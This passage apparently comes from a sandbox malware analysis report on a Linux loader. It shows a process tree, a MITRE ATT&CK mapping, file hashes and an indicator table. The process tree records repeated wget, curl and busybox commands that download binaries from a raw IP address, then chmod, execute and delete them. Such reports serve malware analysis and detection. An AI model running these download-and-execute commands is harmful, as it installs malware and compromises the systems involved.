  chmod 777 tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  ./tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  PID:963
- /usr/bin/wget
  wget http://87.120.126.196/bins/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  PID:966
- /bin/chmod
  chmod 777 xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  ./xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  PID:969
- /usr/bin/wget
  wget http://87.120.126.196/bins/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  PID:972
- /bin/chmod
  chmod 777 MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  ./MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  PID:975
- /usr/bin/wget
  wget http://87.120.126.196/bins/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  PID:978
- /bin/chmod
  chmod 777 PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  ./PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  PID:981

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9

Path /tmp/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9	738	qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
/tmp/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd	746	7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
/tmp/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX	752	133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
/tmp/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5	758	51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
/tmp/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme	781	Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
/tmp/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc	815	gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
/tmp/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB	821	rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
/tmp/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N	846	hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
/tmp/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS	866	05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
/tmp/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G	872	y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
/tmp/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ	878	xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
/tmp/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75	884	MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
/tmp/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly	890	PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
/tmp/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98	896	tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
/tmp/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5	902	51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
/tmp/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9	908	qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
/tmp/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd	914	7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
/tmp/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX	920	133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
/tmp/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme	926	Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
/tmp/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS	932	05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
/tmp/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G	938	y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
/tmp/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc	944	gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
/tmp/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB	950	rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
/tmp/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N	956	hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
/tmp/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98	962	tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
/tmp/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ	968	xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
/tmp/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75	974	MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
/tmp/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly	980	PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly